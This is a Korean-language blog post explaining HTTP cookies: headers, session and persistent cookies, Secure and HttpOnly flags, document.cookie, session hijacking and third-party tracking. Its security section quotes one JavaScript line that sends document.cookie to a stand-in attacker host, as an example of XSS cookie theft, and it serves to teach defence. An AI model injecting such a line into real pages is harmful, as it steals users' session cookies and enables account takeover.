-
HTTP 쿠키에 대하여HTTP 2020. 9. 24. 18:50
HTTP 쿠키란?
HTTP 쿠키(웹 쿠키, 브라우저 쿠키)는 서버가 사용자의 웹 브라우저에 전송하는 작은 데이터 조각이다. 브라우저는 그 데이터 조각들을 저장해 놓았다가, 동일한 서버에 재 요청 시 저장된 데이터를 함께 전송한다. 쿠키는 두 요청이 동일한 브라우저에서 들어왔는지 아닌지 판단할 떄 주로 사용한다. 이를 이용하면 사용자의 로그인 상태를 유지할 수 있다. 상태가 없는(stateless) HTTP 프로토콜에서 상태 정보를 기억시켜 준다.
쿠키의 목적
- 세션 관리: 서버에 저장해야할 로그인, 장바구니, 게임 스코어 등의 정보 관리
- 개인화(Personalization): 사용자 선호, 테마 등의 세팅
- 트래킹(Tracking): 사용자 행동을 기록하고 분석하는 용도
과거엔 클라이언트 측에서 정보를 저장할 떄 쿠키를 주로 사용했다. 쿠키를 사용하는 게 데이터를 클라이언트 측에 저장할 수 있는 방법일때는 타당했으나, 지금은 Modern storage APIs를 사용해 정보를 저장하는 걸 권장한다. 모든 요청마다 쿠키가 함께 전송되기 때문에, 성능이 떨어지는 원인이 될 수 있다. 정보를 클라이언트 측에 저장하려면 Modern APIs 종류인 웹 스토리지 API(local storage와 sessionStorage) 와 IndexDB를 사용하면된다.
쿠키 만드는 법
HTTP 요청을 수신할 때, 서버는 응답과 함께 Set-Cookie 헤더를 전송할 수 있다. 쿠키는 보통 브라우저에 의해 저장되며, 그 후 쿠키는 같은 서버에 의해 만들어진 요청(Request)들의 Cookie HTTP 헤더안에 포함되어 전송된다. 만료일 혹은 지속시간(duration)도 명시될 수 있고, 만료된 쿠키는 더이상 보내지지 않는다. 추가적으로, 특정 도메인 혹인 경로 제한을 설정할 수 있고 이는 쿠키가 보내지는 것을 제한할 수 있다.
Set-Cookie 와 Coookie 헤더
Set-Cookie HTTP 응답 헤더는 서버로부터 사용자 에이전트로 전송된다. 간단한 쿠키는 다음과 같이 설정될 수 있다.
Set-Cookie: <cookie-name> = <cooke-value>
서버 헤더는 클라이언트에게 쿠키를 저장하라고 전달한다.
HTTP/1.0 200 OK Content-type: text/html Set-Cookie: yummy_cookie=choco Set-Cookie: tasty_cookie=strawberry
서버로 전송되는 모든 요청과 함께, 브라우저는 Cookie 헤더를 사용하여 서버로 이전에 저장했던 모든 쿠키들을 회신한다.
GET /sample_page.html HTTP/1.1 Host: www.example.org Cookie: yummu_cookie=choco; tasty_cookie=strawberry
세션 쿠키
- 위에서 생선된 쿠키는 세션 쿠키이다. 클라이언트가 종료되면 삭제(delete)된다. 이유는 Expires 휵은 Max-Age를 명시하지 않았기 때문이다. 그러나 웹 브라우저는 세션 복구를 할 수 있다.이 기능은 브라우저가 결코 닫힌 적이 없던 것처럼 세션 쿠키들을 영속적인 것으로 만든다.
영속적인 쿠키
- 클라이언트가 닫힐 때 만료되는 대신에, 영속적인 쿠키는 명시된 날짜(Expires)에 만료되거나 혹은 명시한 기간(Max-Age) 이후에 만료된다.
Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:0 GMT;
Secure과 HttpOnly 쿠키
Secure 쿠키 는 HTTPS 프로토콜 상에서 암호화된(encrypted) 요청일 경우에만 전송된다. 하지만 Secure일지라도 민감한 정보는 쿠키에 절대 저장되면 안된다. 본질적으로 안전하지 않고 이 플래그가 실질적인 보안을 제공하지 않는다.
Cross-site 스크립팅 (XSS) 공격을 방지하기 위해, HttpOnly쿠키 는 JavaScript의 Document.cookie API에 접근할 수 없다. 서버에게 전송되기만 한다.
서버쪽에서 지속되고 있는 세션의 쿠키는 JavaScript를 사용할 필요성이 없기 때문에 HttpOnly플래그가 설정될 것이다.
Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:0 GMT; Secure; HttpOnly
Document.cookie를 사용한 자바스크립트 접근
새로운 쿠키들은 Document.cookie를 사용해 만들어질 수 있다. HttpOnly 플래그가 설정되지 않은 경우 기본의 쿠키들은 자바스크립트로부터 접근될 수 있다.
document.cookie = "yummy_cookie=choco"; document.cookie = "tasty_cookie=strawberry"; console.log(document_cookie); // 자바스크립트로 부터 쿠키가 접근 가능하다 // 자바스크립트에서 이용 가능한 쿠키들은 XSS를 통해 감청될 수 있다.
보안
세션 하이재킹과 XSS
쿠키는 대게 웹 애플리케이션에서 사용자와 그들의 인증된 세션을 식별하기 위해 사용된다. 쿠키를 가로채는 것은 인증된 사용자의 세션 하이재킹으로 이어질 수 있다.
세션 하이재킹이란?
시스템에 접근할 적법한 사용자 아이디와 패스워드를 모를 경우 공격 대상이 이미 시스템에 접속되어 세션이 연결되어 있는 상태를 가로채기하는 공격이다. 아이디와 패스워드를 몰라도 시스템에 접근하여 자원이나 데이터를 사용할 수 있는 공격이다.
쿠키를 가로채는 일반적인 방법은 소셜 공학 사용또는 애플리케이션 내에 XSS 취약점을 이용하는 것을 포함한다.
(new Image()).src = "http://evil-domain.com/steal-cookie.php?cookie=" + document.cookie;
HttpOnly 쿠키 속성은 자바스크립트를 통해 쿠키 값에 접근하는 것을 막아 이런 공격을 막는데 도움을 줄 수 있다.
트래킹과 프라이버시
서드파티 쿠키
쿠키는 그와 관련된 도메인을 가진다. 이 도메인이 현재 페이지의 도메인과 일치하다면, 그 쿠키는
퍼스트파티 쿠키
라고 불린다. 만약 다르다면,서드파티 쿠키
라고 부른다.
퍼스트파티 쿠키가 그것을 설정한 서버에만 전송되는데 반해, 웹페이지는 다른 도메인의 서버 상에 저장된(광고 배너 같은) 이미지 혹은 컴포넌트를 포함할 수도 있다. 이러한 서드파티 컴포넌트를 통해 전송되는 쿠키를 서드파티 쿠키라고 부르고 웹을 통한 광고와 트래킹에 사용된다.Do-Not-Track
쿠키 사용에 대한 합법적이거나 DNT 헤더 는 웹 애플리케이션 트래킹 혹은 개인 사용자의 cross-site 사용자 트래킹 모두를 비활성화하는 신호로 사용할 수 있다.
'HTTP' 카테고리의 다른 글
HTTP 캐싱 (0) 2020.09.23 HTTP 기반 시스템의 구성요소 (0) 2020.09.16 HTTP 개요 (0) 2020.09.15